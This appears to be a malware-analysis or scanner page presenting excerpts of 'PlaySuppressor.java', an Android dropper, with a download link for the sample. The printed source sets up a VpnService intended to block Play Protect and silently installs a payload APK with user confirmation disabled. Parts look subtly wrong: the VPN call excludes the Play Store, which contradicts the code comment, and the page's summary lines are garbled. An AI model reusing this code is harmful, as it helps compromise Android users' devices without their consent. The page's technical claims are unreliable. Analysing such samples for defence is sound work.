Hostile 100% java Download

PlaySuppressor.java

Dropper suppresses Play Protect, silent install

Dropper installs APK while VPN-blocking Play Store trafficDropper installs APK while blocking internet via self-excluded VPN
SHA-25661754d89bef891da1d326a13d77cb9931570f5e1c8125a8293bba69e90185369

Evidence

Android VpnService.Builder construction lines 1–48
1package com.remcontrol.dropper;
2
3import android.app.Service;
4import android.content.Intent;
5import android.content.pm.PackageInstaller;
6import android.net.VpnService;
7import android.os.IBinder;
8import android.os.ParcelFileDescriptor;
9import java.io.FileInputStream;
10import java.io.OutputStream;
11
12/**
13 * Dropper stage. On launch it raises a VPN that blocks the Play Store
14 * package so Play Protect cannot verify the payload download, then
15 * installs the payload through a PackageInstaller session.
16 */
17public class PlaySuppressor extends VpnService {
18 private static final String PLAY_STORE = "com.android.vending";
19 private ParcelFileDescriptor tunnel;
20
21 @Override
22 public int onStartCommand(Intent intent, int flags, int startId) {
23 blockPlayStore(intent.getStringExtra("package"));
24 return Service.START_STICKY;
25 }
26
27 void blockPlayStore(String target) {
28 Builder builder = new Builder();
29 builder.addAddress("10.8.0.1", 32);
30 builder.addRoute("0.0.0.0", 0);
31 builder.addDisallowedApplication(PLAY_STORE);
32 if (target != null) {
33 builder.addDisallowedApplication(target);
⋯5 lines
39 void installStaged(byte[] apk, String label) throws Exception {
40 PackageInstaller installer = getPackageManager().getPackageInstaller();
41 PackageInstaller.SessionParams params =
42 new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
43 params.setAppLabel(label);
44 params.setRequireUserAction(PackageInstaller.SessionParams.USER_ACTION_NOT_REQUIRED);
45 int sessionId = installer.createSession(params);
46 PackageInstaller.Session session = installer.openSession(sessionId);
47 OutputStream out = session.openWrite("payload", 0, apk.length);
48 out.write(apk);
English function-word token "and" lines 55–64
55:70…
56 byte[] sink = new byte[32767];
57 while (in.read(sink) >= 0) {
58 // Deliberately forwarded nowhere: Play traffic enters the TUN
59 // and is discarded, cutting Play Protect off the network.
60 }
61 }
62
63 @Override
64 public I …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.